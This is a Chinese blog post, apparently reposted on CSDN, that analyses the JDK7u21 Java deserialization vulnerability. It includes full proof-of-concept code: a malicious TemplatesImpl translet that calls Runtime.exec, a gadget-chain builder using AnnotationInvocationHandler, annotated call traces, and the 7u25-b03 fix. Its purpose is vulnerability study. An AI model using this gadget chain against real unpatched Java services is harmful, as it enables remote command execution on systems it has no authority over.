反序列化漏洞_JDK7u21反序列化漏洞

40377f247da1de2bc7a6a799044f3edf.png

标题: JDK7u21反序列化漏洞

☆ 前言
☆ Serializable接口详解
   11) JDK7u21反序列化漏洞
       11.1) JacksonExploit7u21.java
       11.2) JDK7u21Exec.java
       11.3) 复杂版调用关系
       11.4) 简化版调用关系
       11.5) 7u25-b03(2013-06-18)修补方案
☆ 后记
☆ 参考资源

☆ 前言

本篇提供简版PoC以便调试分析"JDK7u21反序列化漏洞",炒个超级冷饭。

以前不想细究这个洞,太老了。上周看"MySQL JDBC客户端反序列化漏洞",fnmsd提到"JDK8u20反序列化漏洞"。看8u20时涉及到7u21,故有此篇。8u20将是续篇。

去年11月看CVE-2019-6980(Zimbra)时搜到fnmsd,觉得他在这个方向的技术水平挺好,所以他提到的东西我相对都要重视一些。这是比较靠谱的经验,如果觉得谁的文章不错,就提高TA的权值,反之则降权。fnmsd的个人主页是:

https://blog.csdn.net/fnmsd

有兴趣者可以围观一下。一般看到真心分享且水平不错的个人主页,我喜欢在微博上向大家推荐,从不推荐"纯秀型"个人及其主页。

基本没写文字分析,PoC中的注释和两组调用关系是给自己看的,以防调试分析完过段时间就忘了,岂不白调。初次接触7u21者可以直接调试本篇提供的简版PoC,关键点都在两组调用关系中给出。

最佳入手方式是,先把PoC跑通,然后打个断点:

stop in java.lang.Runtime.exec(java.lang.String[])

命中后查看调用栈回溯中的各层代码。基本框架搞清楚后,再根据两组调用关系调试分析其他分支流程。调试分析的最终停止原则是,已能回答自己的每一个"为什么"。

☆ Serializable接口详解

11) JDK7u21反序列化漏洞

参[52]

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Jdk7u21.java
https://gist.github.com/frohoff/24af7913611f8406eaf3

这个洞是2015.12.18由Chris Frohoff报告给Oracle的,能搞7u25-b03之前的版本,不依赖第三方库。

11.1) JacksonExploit7u21.java

同CVE-2017-7525所用JacksonExploit.java,必须是AbstractTranslet的子类。区别只是这次换个类名,用7u21编译,减少潜在麻烦。

/*
 * javac_7_21 -encoding GBK -g -XDignore.symbol.file JacksonExploit7u21.java
 */
import java.io.*;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

/*
 * 必须是public,否则不能成功执行命令
 */
public class JacksonExploit7u21 extends AbstractTranslet{
    /*
     * 必须是public
     */
    public JacksonExploit7u21 (){
        try
        {
            System.out.println( "scz is here" );
            Runtime.getRuntime().exec( new String[] { "/bin/bash", "-c", "/bin/touch /tmp/scz_is_here" } );
        }
        catch ( IOException e )
        {
            e.printStackTrace();
        }
    }

    /*
     * 必须重载这两个抽象方法,否则编译时报错
     */
    @Override
    public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ){
    }

    @Override
    public void transform ( DOM document, SerializationHandler[] handler ){
    }
}

11.2) JDK7u21Exec.java

/*
 * javac_7_21 -encoding GBK -g -XDignore.symbol.file JDK7u21Exec.java
 */
import java.io.*;
import java.util.*;
import java.lang.reflect.*;
import java.lang.annotation.*;
import java.nio.file.Files;
import javax.xml.transform.Templates;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;

public class JDK7u21Exec{
    private static TemplatesImpl getTemplatesImpl ( String evilclass ) throws Exception{
        byte[]          evilbyte    = Files.readAllBytes( ( new File( evilclass ) ).toPath() );
        TemplatesImpl   ti          = new TemplatesImpl();
        /*
         * 真正有用的是_bytecodes,但_tfactory、_name为null时没机会让
         * _bytecodes得到执行,中途就会抛异常。
         */
        Field           _bytecodes  = TemplatesImpl.class.getDeclaredField( "_bytecodes" );
        _bytecodes.setAccessible( true );
        _bytecodes.set( ti, new byte[][] { evilbyte }  );
        /*
         * 这个操作对7u21没必要。后来某个版本开始,如果未指定_tfactory,
         * 会在TemplatesImpl.defineTransletClasses()触发空指针引用。
         */
        // Field           _tfactory   = TemplatesImpl.class.getDeclaredField( "_tfactory" );
        // _tfactory.setAccessible( true );
        // _tfactory.set( ti, new TransformerFactoryImpl() );
        Field           _name       = TemplatesImpl.class.getDeclaredField( "_name" );
        _name.setAccessible( true );
        /*
         * 第二形参可以是任意字符串,比如空串,但不能是null
         */
        _name.set( ti, "" );
        /*
         * 下面这两个操作对7u21没必要
         */
        // Field           _auxClasses = TemplatesImpl.class.getDeclaredField( "_auxClasses" );
        // _auxClasses.setAccessible( true );
        // _auxClasses.set( ti, null );
        // Field           _class      = TemplatesImpl.class.getDeclaredField( "_class" );
        // _class.setAccessible( true );
        // _class.set( ti, null );
        return( ti );
    }  /* end of getTemplatesImpl */

    /*
     * 返回待序列化Object
     */
    @SuppressWarnings("unchecked")
    private static Object getObject ( String evilclass ) throws Exception{
        TemplatesImpl       ti              = getTemplatesImpl( evilclass );
        /*
         * 不要直接在此
         *
         * hm.put( "0DE2FF10", ti )
         *
         * 否则后面的lhs.add( TemplatesProxy )会触发如下调用:
         *
         * HashSet.add
         *   HashMap.put
         *     $Proxy0.equals
         *       AnnotationInvocationHandler.invoke
         *         AnnotationInvocationHandler.equalsImpl
         *           Method.invoke
         *             TemplatesImpl.getOutputProperties
         *
         * 显然数据准备阶段不想看到这种效果
         */
        HashMap             hm              = new HashMap( 1 );
        /*
         * AnnotationInvocationHandler不是public的,不能直接import
         */
        Class               clazz_AIH       = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler" );
        Constructor         cons_AIH        = clazz_AIH.getDeclaredConstructor( Class.class, Map.class );
        cons_AIH.setAccessible( true );
        /*
         * 只要是Annotation的子接口,且是public的,就可以用于第一形参,比
         * 如:
         *
         * java.lang.Override
         * java.lang.annotation.Documented
         * java.lang.annotation.Inherited
         * java.lang.annotation.Retention
         * java.lang.annotation.Target
         *
         * 用Override.class的好处在于它是"java.lang.*"中的,无需显式import
         */
        InvocationHandler   ih              = ( InvocationHandler )cons_AIH.newInstance( Target.class, hm );
        /*
         * 通过type属性去获取Templates接口的两个方法名,分别是getOutputProperties、
         * newTransformer。由于getOutputProperties先出现,将来利用链上有它。
         * 如果newTransformer先出现,利用链上不需要getOutputProperties。
         */
        Field               f_type          = clazz_AIH.getDeclaredField( "type" );
        f_type.setAccessible( true );
        /*
         * 将来会调用Templates.class.getDeclaredMethods()
         */
        f_type.set( ih, Templates.class );
        Templates           TemplatesProxy  = ( Templates )Proxy.newProxyInstance
        (
            Templates.class.getClassLoader(),
            new  Class[] { Templates.class },
            ih
        );
        LinkedHashSet       lhs             = new LinkedHashSet( 0 );
        lhs.add( ti );
        lhs.add( TemplatesProxy );
        /*
         * 原来用的是"f5a5a608"。只要字符串哈希等于0即可。
         */
        hm.put( "0DE2FF10", ti );
        return( lhs );
    }  /* end of getObject */

    public static void main ( String[] argv ) throws Exception{
        String                  evilclass   = argv[0];
        Object                  obj         = getObject( evilclass );
        ByteArrayOutputStream   bos         = new ByteArrayOutputStream();
        ObjectOutputStream      oos         = new ObjectOutputStream( bos );
        oos.writeObject( obj );
        ByteArrayInputStream    bis         = new ByteArrayInputStream( bos.toByteArray() );
        ObjectInputStream       ois         = new ObjectInputStream( bis );
        ois.readObject();
    }
}

java_7_21 JDK7u21Exec JacksonExploit7u21.class

11.3) 复杂版调用关系

ObjectInputStream.readObject                                    // 7u21
  HashSet.readObject
    capacity = s.readInt()                                      // HashSet:297
                                                                // 返回2
    loadFactor = s.readFloat()                                  // HashSet:298
                                                                // 返回0.75
    map = new LinkedHashMap(capacity, loadFactor)     // HashSet:299// this现在是LinkedHashSet实例
    size = s.readInt()                                          // HashSet:304// 返回2
    ObjectInputStream.readObject                                // HashSet:308// e = (E) s.readObject()// 读ti// LinkedHashSet会维持插入顺序,HashSet则不会
    HashMap.put                                                 // HashSet:309// map.put(e, PRESENT);// put(ti)
      HashMap.hash                                              // HashMap:471// hash = hash(key)// key等于ti
      LinkedHashMap.addEntry                                    // HashMap:484// addEntry(hash, key, value, i)// key等于ti
        HashMap.addEntry                                        // LinkedHashMap:427
          LinkedHashMap.createEntry                             // HashMap:856// createEntry(hash, key, value, bucketIndex)
            LinkedHashMap$Entry.                          // LinkedHashMap:442// e = new Entry<>(hash, key, value, old)// e对应"ti=PRESENT"
              HashMap$Entry.                              // LinkedHashMap:325// super(hash, key, value, next)value = v                                       // HashMap:782
                next = n                                        // HashMap:783
                key = k                                         // HashMap:784
                hash = h                                        // HashMap:785// hash等于hash(ti)// 此处的hash并不经HashMap$Entry.hashCode()的计算// e.hash并不等于e.hashCode(),是两个概念,值也不一样
            table[bucketIndex] = e                              // LinkedHashMap:443// e对应"ti=PRESENT"
    ObjectInputStream.readObject                                // HashSet:308// 读TemplatesProxy
      AnnotationInvocationHandler.readObject
        AnnotationType.getInstance                              // AnnotationInvocationHandler:338if (result == null)                                   // AnnotationType:83
          AnnotationType.                                 // AnnotationType:84if (!annotationClass.isAnnotation())                // AnnotationType:97// 形参annotationClass等于Templates.classthrow new IllegalArgumentException("Not an annotation type");// AnnotationType:98return                                                  // AnnotationInvocationHandler:341// 前面那个"Not an annotation type"异常被catch,在此继续// 正确做法应该继续抛异常,而不是return,7u25-b03的修补方案就是这么干的
    HashMap.put                                                 // HashSet:309// map.put(e, PRESENT);// put(TemplatesProxy)
      HashMap.hash                                              // HashMap:471// hash = hash(key)// key等于TemplatesProxy// 在这个上下文里hash(TemplatesProxy)等于hash(ti)// hash(key)不直接等于key.hashCode(),对后者还有一些数学变换
        $Proxy1.hashCode                                        // HashMap:351// h ^= k.hashCode()// 计算TemplatesProxy的哈希相当于计算AnnotationInvocationHandler的哈希// 在这个上下文里k.hashCode()等于ti.hashCode()
          AnnotationInvocationHandler.invoke
            AnnotationInvocationHandler.hashCodeImpl            // AnnotationInvocationHandler:64// return hashCodeImpl()// 在这个上下文里实际返回的是ti.hashCode()// 该函数内部对AnnotationInvocationHandler.memberValues的各循环求哈希// 再用一种算法将它们揉到一起返回
              HashMap.entrySet                                  // AnnotationInvocationHandler:294// for (Map.Entry e : memberValues.entrySet())// memberValues即hm// 返回"0DE2FF10=TemplatesImpl"
              HashMap$Entry.getKey                              // AnnotationInvocationHandler:295// 返回字符串"0DE2FF10"
              String.hashCode                                   // AnnotationInvocationHandler:295// 计算"0DE2FF10"的哈希,返回0
              HashMap$Entry.getValue                            // AnnotationInvocationHandler:295// 返回ti
              AnnotationInvocationHandler.memberValueHashCode   // AnnotationInvocationHandler:295// result += (127 * e.getKey().hashCode()) ^ memberValueHashCode(e.getValue())return value.hashCode()                         // AnnotationInvocationHandler:308// value等于ti,这个hashCode()是native方法,就是Object.hashCode()// 返回ti.hashCode()
      HashMap.indexFor                                          // HashMap:472// i = indexFor(hash, table.length)// 此处hash即hash(TemplatesProxy)// table.length等于2,一个对应"ti=PRESENT",另一个等于null,位置不固定// 两次从此经过,每次形参都相同,返回值也相同for (Entry e = table[i]; e != null; e = e.next)      // HashMap:473// table[i]或e对应"ti=PRESENT"// 两次经过此处,要求i值相同
      $Proxy1.equals                                            // HashMap:475// if (e.hash == hash && ((k = e.key) == key || key.equals(k)))// e对应"ti=PRESENT"// e.hash即hash(ti),hash即hash(TemplatesProxy)// e.key或k对应ti,key对应TemplatesProxy
        AnnotationInvocationHandler.invoke
          AnnotationInvocationHandler.equalsImpl                // AnnotationInvocationHandler:59// return equalsImpl(args[0]);// args[0]等于ti// 该函数内部会循环调用AnnotationInvocationHandler.type所指定类的各个方法
            AnnotationInvocationHandler.getMemberMethods        // AnnotationInvocationHandler:188
              Class.getDeclaredMethods                       // AnnotationInvocationHandler:279// Method[] mm = type.getDeclaredMethods()// type对应"Templates.class",PoC中通过反射设置过type// 返回两个方法// 第一个是Templates.getOutputProperties()// 第二个是Templates.newTransformer()
            Method.invoke                                       // AnnotationInvocationHandler:197// hisValue = memberMethod.invoke(o)// memberMethod对应TemplatesImpl.getOutputProperties()// o等于ti
              TemplatesImpl.getOutputProperties
                TemplatesImpl.newTransformer                    // TemplatesImpl:431// 此处开始TemplatesImpl利用链// 由Adam Gowdiak最早提出
                  TemplatesImpl.getTransletInstance             // TemplatesImpl:410if (this._name == null)                     // TemplatesImpl:374return null                                 // 如果this._name等于null,在此直接返回,没有机会初始化恶意class实例// 为了攻击成功,必须设法让this._name不等于null,可以为空串
                    TemplatesImpl.defineTransletClasses         // TemplatesImpl:376this._class[i] = loader.defineClass(this._bytecodes[i])// TemplatesImpl:339// 在此将this._bytecodes转换成this._class[],即加载类if (superClass.getName().equals(ABSTRACT_TRANSLET))// TemplatesImpl:343// 加载_bytecodes成功后,检查其父类是否是AbstractTranslet// 必须满足该条件,否则在恶意构造函数被执行之前就抛异常
                    Class.newInstance                           // TemplatesImpl:380// (AbstractTranslet)this._class[this._transletIndex].newInstance()
                      JacksonExploit7u21.
                        Runtime.exec

11.4) 简化版调用关系

ObjectInputStream.readObject                                // 7u21
  HashSet.readObject
    ObjectInputStream.readObject                            // HashSet:308
                                                            // 读ti
                                                            // LinkedHashSet会维持插入顺序,HashSet则不会
    HashMap.put                                             // HashSet:309
    ObjectInputStream.readObject                            // HashSet:308
                                                            // 读TemplatesProxy
    HashMap.put                                             // HashSet:309
      HashMap.hash                                          // HashMap:471
                                                            // hash = hash(key)
                                                            // 在这个上下文里hash(TemplatesProxy)等于hash(ti)
                                                            // hash(key)不直接等于key.hashCode(),对后者还有一些数学变换
      HashMap.indexFor                                      // HashMap:472
                                                            // 两次从此经过,每次形参都相同,返回值也相同
      for (Entry e = table[i]; e != null; e = e.next)  // HashMap:473// table[i]或e对应"ti=PRESENT"// 两次经过此处,要求i值相同
      $Proxy1.equals                                        // HashMap:475// if (e.hash == hash && ((k = e.key) == key || key.equals(k)))
        AnnotationInvocationHandler.invoke
          AnnotationInvocationHandler.equalsImpl            // AnnotationInvocationHandler:59// 该函数内部会循环调用AnnotationInvocationHandler.type所指定类的各个方法
            AnnotationInvocationHandler.getMemberMethods    // AnnotationInvocationHandler:188
              Class.getDeclaredMethods                   // AnnotationInvocationHandler:279// 返回两个方法// 第一个是Templates.getOutputProperties()// 第二个是Templates.newTransformer()
            Method.invoke                                   // AnnotationInvocationHandler:197
              TemplatesImpl.getOutputProperties
                TemplatesImpl.newTransformer                // TemplatesImpl:431// 此处开始TemplatesImpl利用链// 由Adam Gowdiak最早提出

11.5) 7u25-b03(2013-06-18)修补方案

http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/jdk7u25-b03/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java

/*
 * sun.reflect.annotation.AnnotationInvocationHandler.readObject(ObjectInputStream) : void
 */
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();


    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
/*
 * 341行,过去此处是return,从7u25-b03开始,此处接着抛异常
 */
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }
    ...
}

7u25-b01、7u25-b02尚未如此修补,341行处仍在return。有些文章说修补方案是检查了AnnotationInvocationHandler.type,估计他们是根据抛出的异常这么说的。事实上对AnnotationInvocationHandler.type的检查一直存在,要求type与java.lang.annotation.Annotation有派生、继承、实现关系,但7u25-b03之前发现问题后抛出的异常被341行的catch捕捉之后没有继续抛异常,而是return了。

☆ 后记

留一个趣味求解。在Java反序列化漏洞领域,字符串"f5a5a608"已经人尽皆知,现在求解另一个字符串,其哈希亦为零,约束条件,在[a-z0-9]范围内的8字符串。注意约束条件,长度大于8的、所用字符不在[a-z0-9]范围内的,都不符合要求。

4月份我在微博上出了这道题,ID为香依香偎、crackme00的两位分别给了一些正确答案。答案不唯一,答案本身不重要,只是给那些"永远充满好奇心的人们"出个趣味题,比如练练手,挑战一下求解代码的性能优化、提升,没有其他意义。

☆ 参考资源

[52]
    ysoserial
    https://github.com/frohoff/ysoserial/
    https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
    (A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization)
    (可以自己编译,不需要下这个jar包)

    git clone https://github.com/frohoff/ysoserial.git

TXT全文

http://scz.617.cn/web/202006081706.txt

感兴趣者请在PC上用浏览器下载回本地阅读,微信公众号排版受限。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值